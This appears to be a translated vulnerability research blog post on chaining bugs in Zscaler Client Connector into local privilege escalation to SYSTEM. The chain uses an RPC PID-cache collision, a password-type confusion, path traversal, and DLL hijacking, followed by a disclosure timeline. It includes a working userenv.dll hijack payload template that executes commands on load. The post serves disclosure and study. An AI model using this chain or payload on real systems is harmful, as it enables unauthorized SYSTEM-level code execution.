利用缓存碰撞与DLL劫持实现Zscaler本地权限提升(CVE-2023-41973)

本文详细分析了Zscaler Client Connector中多个漏洞的链式利用过程,包括RPC调用验证绕过、密码检查类型混淆、路径遍历及DLL劫持,最终实现从普通用户到SYSTEM权限的零交互提权。

Cache Me If You Can: Zscaler Client Connector中的本地权限提升(CVE-2023-41973)

几个月前,我与同事Winston Ho将一系列漏洞串联起来,在Zscaler Client Connector中实现了零交互的本地权限提升。这是一次深入Windows RPC调用者验证、绕过多项检查(包括Authenticode验证)的有趣探索。查看Winston关于ZSATrayManager任意文件删除(CVE-2023-41969)的原始Medium博客文章!

  • 恢复密码检查类型验证错误(CVE-2023-41972)
  • Zscaler Client Connector输入清理缺失导致任意代码执行(CVE-2023-41973)
  • ZSATrayManager任意文件删除(CVE-2023-41969)

通过串联多个低级漏洞和绕过措施,我们能够将标准用户权限提升至以Windows高权限NT AUTHORITY\SYSTEM服务账户执行任意命令。

本文将分享我们从漏洞发现到开发概念验证利用的方法论。

Zscaler Client Connector及生态系统概述

Zscaler是一家“企业云安全”公司,以其VPN和“零信任”网络产品闻名。Zscaler Client Connector是连接Zscaler各种网络隧道的本地桌面客户端。

ZScaler Client Connector应用程序包含两个主要进程:ZSATray和ZSATrayManager。ZSATrayManager是以NT AUTHORITY\SYSTEM用户运行的服务,处理所需的高权限操作,如网络管理、配置执行和更新。ZSATray则是基于.NET Framework构建的用户前端应用程序。

与Windows上大多数客户端-服务器软件一样,ZSATray和ZSATrayManager使用Microsoft远程过程调用(RPC)进行通信。例如,当用户从界面请求转储日志时,ZSATray使用ZSATrayHelper.dll中的原生sendZSATrayManagerCommand方法进行RPC调用,并传入序列化输入。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
public bool dumpLogs(ZSATrayManagerConfigDumpLog configData) => this.sendZSATrayManagerCommandHelper(ZSCALER_APP_RPC_COMMAND.DUMP_LOGS, (object) configData) == 0;

private int sendZSATrayManagerCommandHelper(
  ZSCALER_APP_RPC_COMMAND commandCode,
  object configData = null)
  {
    ZSATrayManagerCommand structure = new ZSATrayManagerCommand();
    structure.commandCode = (int) commandCode;
    if (configData != null)
      structure.configJson = JsonConvert.SerializeObject(configData);
    IntPtr num1 = Marshal.AllocCoTaskMem(Marshal.SizeOf((object) structure));
    Marshal.StructureToPtr((object) structure, num1, false);
    int num2 = NativeMethods.sendZSATrayManagerCommand(num1);
    ZSALogger.zsaLog("sendZSATrayManagerCommandHelper retVal: " + num2.ToString());
    Marshal.FreeCoTaskMem(num1);
    return num2;
  }

接受来自任何进程的RPC调用而不进行验证是一个重大的安全风险,尤其是当ZSATrayManager支持的某些RPC调用涉及执行高权限操作时。

大多数软件(包括ZScaler Client Connector)会实施检查以确保RPC调用源自受信任进程。因此,我们开始了绕过这些检查的探索。

通过缓存修饰和碰撞绕过RPC连接检查

CVE-2020-11635¹以来,ZScaler Client Connect增加了对ZSATrayManager的RPC连接的额外验证检查。检查在IfCallbackFn函数中执行,包括以下内容:

  • 进程ID(PID验证):调用者的PID必须匹配其映像路径名属于由Zscaler签名的可执行文件的进程(Authenticode检查)。
  • 调用者进程验证:调用者进程必须是: a. 高权限SYSTEM拥有的进程;或 b. ZSATray.exe

ZSATrayManager通过检查内存中的缓存来确定PID是否属于ZSATray。它使用Fowler-Noll-Vo哈希函数(FNV-1a)键控此缓存,并存储进程名称、允许状态和最后访问时间戳。

1
2
3
4
5
2023--08--05 14:54:53.960564(+0800)[8528:17868] DBG ZSATrayManager: addRpcCallerInCache: --- --- --- --- --- --- entries --- --- --- --- --- --- --- ---
2023--08--05 14:54:53.960564(+0800)[8528:17868] DBG PID | name | is_allowed | last_access_ts
2023--08--05 14:54:53.960564(+0800)[8528:17868] DBG 37352 | C:\Program Files\Zscaler\ZSATray\ZSATray.exe | true | 1691247282094 ms
2023--08--05 14:54:53.960564(+0800)[8528:17868] DBG 39296 | C:\Program Files\Zscaler\ZSATray\ZSATray.exe | true | 1691244684011 ms
2023--08--05 14:54:53.960564(+0800)[8528:17868] DBG 39144 | C:\Program Files\Zscaler\ZSATray\ZSATray.exe | true | 1691246922202 ms

当ZSATrayManager首次启动ZSATray时,它会将其PID存储在ZSATrayManager的缓存中。此外,每次ZSATrayManager成功验证RPC连接时,它都会将调用进程的哈希PID存储在此缓存中。在未来的请求中,如果哈希的调用者PID存在于缓存中,它可以跳过Authenticode和调用者进程检查。

不幸的是,由于ZSATrayManager没有定期清理此缓存,并且PID是非随机的,攻击者可以暴力破解缓存的PID。攻击者可以通过重复终止ZSATray进程并触发ZSATrayManager启动新的ZSATray进程来缓存多个允许的PID,该进程在成功连接到ZSATrayManager后向缓存添加新的PID。这创建了多个允许的PID,攻击者可以暴力破解。通过重复启动和终止利用二进制文件,攻击者可以在Windows分配存在于缓存中的重用PID时导致缓存碰撞。

因此,攻击者控制的二进制文件可以绕过验证检查,向ZSATrayManager发起任意RPC连接。由于ZSATray已经在sendZSATrayManagerCommandHelper中包含了RPC连接客户端的实现,我们可以重用它从自定义.NET二进制文件进行调用以进行利用。

进程注入

绕过此检查的另一种方法是通过注入用户拥有的ZSATray.exe进程来运行任意代码。该进程将通过所有必要的检查,但由于ZSATray是带有托管代码的.NET程序集,因此稍微复杂一些。如果启用了ZScaler Client Connector的反篡改功能,注入也可能失败。

利用恢复密码检查类型验证错误(CVE-2023-41972)

获得了向ZSATrayManager发起任意RPC调用的能力后,我们的下一步是探索哪些支持的RPC函数可以被利用以实现权限提升。

有趣的是,ZScaler为其中一些函数添加了额外的身份验证,例如PERFORM_APP_REVERT。顾名思义,该函数通过执行旧版本的安装程序将ZScaler Client Connector还原到先前版本。该函数接受previousInstallerNamepwdTypepassword作为参数。后两个在管理员为此操作设置了密码²时使用,并且仅在提供了正确密码时才允许函数执行。

不幸的是,ZSATrayManager不检查pwdType是否匹配PASSWORD_TYPE.ZCC_REVERT_PWD(7),这意味着密码检查函数将信任通过RPC传递的任何pwdType并执行相应的密码检查。例如,如果为pwdType提供了ZIA_DISABLE_PWD,ZSATrayManager将检查password是否与为Zscaler Internet Access设置的密码匹配,而不是用于还原应用程序的密码。

1
2
3
case 90: // PERFORM_APP_REVERT
 v66 = sub_1400949C0(v294, (__int64)v371);// 注意:没有对pwdType的检查,例如像其他情况中的 if ( pwdType == 4 )
 if ( (unsigned __int8)PasswordCheck(v67, pwdType, v66, 1) )

一些密码类型(包括*ZCC_REVERT_PWD*)如果未指定密码,则默认返回true。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
case 6u:
sub_14025D9B0(a1);
  LOBYTE(isCorrectPassword) = 0;
  if ( passwordConfigured )
  {
    ...
  }
  else
  {
    v8::internal::wasm::ErrorThrower::CompileError(
    (v8::internal::wasm::ErrorThrower *)&LogHandle,
    "Skip password check --- ZAD is not enabled"); // 密码检查通过,因为isCorrectPassword仍为0
  }

因此,即使为PERFORM_APP_REVERT设置了密码,攻击者也可以通过将RPC中的pwdType设置为SHOW_ADVANCED_SETTINGS(6)来绕过此检查。

利用Zscaler Client Connector输入清理缺失(CVE-2023-41973)

然而,此时尚未实现崇高的NT AUTHORITY\SYSTEM权限提升。我们继续深入挖掘PERFORM_APP_REVERT

如前所述,PERFORM_APP_REVERT接受previousInstallerName参数。此参数附加到C:\Program Files\ZScaler\RevertZcc,通常设置为{版本号}.exe。ZSATrayManager以NT AUTHORITY\SYSTEM身份执行此路径的文件。但是,由于这可以从previousInstallerName参数控制,攻击者可以发送路径遍历字符串,例如..\..\..\{攻击者控制的路径}来执行其负载。

不幸的是,对我们来说,路径上的可执行文件仍有额外检查,例如使用*WinVerifyTrust*函数进行Microsoft Authenticode签名验证。这执行操作系统级信任验证,以确保可执行文件由Zscaler正确签名。此验证似乎正确完成,因为它专门检查签名者和颁发者指纹的SHA-2哈希:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
if ( CertCompareIntegerBlob(&v19, (PCRYPT_INTEGER_BLOB)(v6 + 24)) )
  {
    initString(v28, "92c1588e85af2201ce7915e8538b492f605b80c6", 0x28ui64);
    initString(v26, "83fe2a3586d483fd75c0b0abdb89697a56ad0b41", 0x28ui64);

    {
      LogInfo(&LogHandle, 1i64, "Signer matches Zscaler SHA2 02/28/2018");
LABEL_20:
      v4 = 1;
    }
  }

这是我们尝试启动Microsoft Word时的日志输出快照。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

INF Signer matches Zscaler SHA2 March 1, 2021
INF Signer trust released.
INF Process executable is signed by Zscaler.
INF UserSID: "0, 0, 0, 0, 0, 5", SECURITY_LOCAL_SYSTEM_RID: "0, 0, 0, 0, 0, 5"
INF SID matched with SECURITY_LOCAL_SYSTEM_RID
INF ZSAService RPC: Accepting RPC from a SYSTEM owned Zscaler process
INF ZSAService RPC command: PERFORM_APP_REVERT
INF Starting revert
DBG Running zscaler executable: C:\Program Files\Zscaler\RevertZcc\..\..\..\Program Files\Microsoft Office\root\Office16\WINWORD.EXE --- revertzcc 1 --- mode unattended
ERR Signer does not match Zscaler
INF Signer trust released.
ERR Executable [C:\Program Files\Zscaler\RevertZcc\..\..\..\Program Files\Microsoft Office\root\Office16\WINWORD.EXE] is not Zscaler binary.
INF Done with ZSAService RPC command: PERFORM_APP_REVERT with return value:0

因此,我们需要在链中找到另一个环节。

通过ZSAService的DLL劫持实现任意代码执行

DLL劫持通常不被视为漏洞³,但在特定场景(如此场景)中链式利用时仍可发挥作用。两个条件将卑微的DLL劫持提升为权限提升工具:

  • 被劫持的进程由比攻击者更高权限的进程执行,因此可以跨越安全边界。
  • DLL劫持路径位于低权限攻击者可写的位置,因此执行攻击不需要额外权限。

ZScaler Client Connector二进制文件之一ZSAService易受DLL劫持,因为其搜索路径从当前目录开始。可能被劫持的DLL之一是userenv.dll。这是一个直接的DLL劫持,可以使用众多DLL劫持负载模板之一进行利用。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include "pch.h"
#include <iostream>

BOOL APIENTRY DllMain(HMODULE hModule,
  DWORD ul_reason_for_call,
  LPVOID lpReserved
)
{
  switch (ul_reason_for_call)
  {
  case DLL_PROCESS_ATTACH:
    system("whoami > C:\\hacked.txt");
    //WinExec("cmd.exe", SW_SHOW);
    //WinExec("powershell.exe", SW_SHOW);
  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
    break;
  }
  return TRUE;
}

extern "C" __declspec(dllexport) void DestroyEnvironmentBlock()
{
  return;
}

extern "C" __declspec(dllexport) void LoadUserProfileW()
{
  return;
}

extern "C" __declspec(dllexport) void UnloadUserProfile()
{
  return;
}

extern "C" __declspec(dllexport) void LoadUserProfileA()
{
  return;
}

extern "C" __declspec(dllexport) void CreateEnvironmentBlock()
{
  return;
}

通过将其编译为DLL并将DLL(重命名为userenv.dll)放置在ZSAService.exe同一目录中,启动ZSAService.exe将导致恶意userenv.dll中的任意命令被执行。

因此,我们链中的最终环节完成:

  • 攻击者暴力破解缓存PID以向ZSATrayManager发起RPC调用。
  • 攻击者绕过PERFORM_APP_REVERT函数的密码保护。
  • 攻击者在previousInstallerName参数中发送路径遍历负载。
  • ZSATrayManager执行通过Authenticode检查的DLL劫持的ZSAService.exe
  • 劫持DLL导致攻击者的命令以NT AUTHORITY\SYSTEM身份执行。
  • 被攻破!

结论

这是一个极其有趣的漏洞链,花费了周五晚上的大部分时间,突显了多个小漏洞如何在足够的持久性下累积。客户端-服务器进程架构中最大的挑战之一是身份验证和授权,使其成为漏洞研究人员成熟的狩猎场。我们的发现证明,即使正确验证了调用进程,也应适当清理和验证RPC输入。

披露时间线

  • 2023年8月15日:向Zscaler团队报告了密码检查绕过和路径遍历漏洞。
  • 2023年8月31日:Zscaler团队确认了发现。
  • 2023年8月28日:向Zscaler团队报告了任意文件删除漏洞。
  • 2023年9月1日:发布了Zscaler Client Connector 4.2.0.209 / 4.3.0.121,修复了CVE-2023-41972和CVE-2023-41973。
  • 2024年1月11日:Zscaler团队通知团队已保留CVE。
  • 2024年3月26日:Zscaler团队公开披露了CVE(https://trust.zscaler.com/private.zscaler.com/posts/18226)

[1] https://www.cve.org/CVERecord?id=CVE-2020-11635
[2] https://help.zscaler.com/client-connector/reverting-zscaler-client-connector
[3] https://itm4n.github.io/windows-dll-hijacking-clarified/
[4] https://github.com/googleprojectzero/symboliclink-testing-tools
[5] https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks
[6] https://www.mandiant.com/resources/blog/arbitrary-file-deletion-vulnerabilities

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计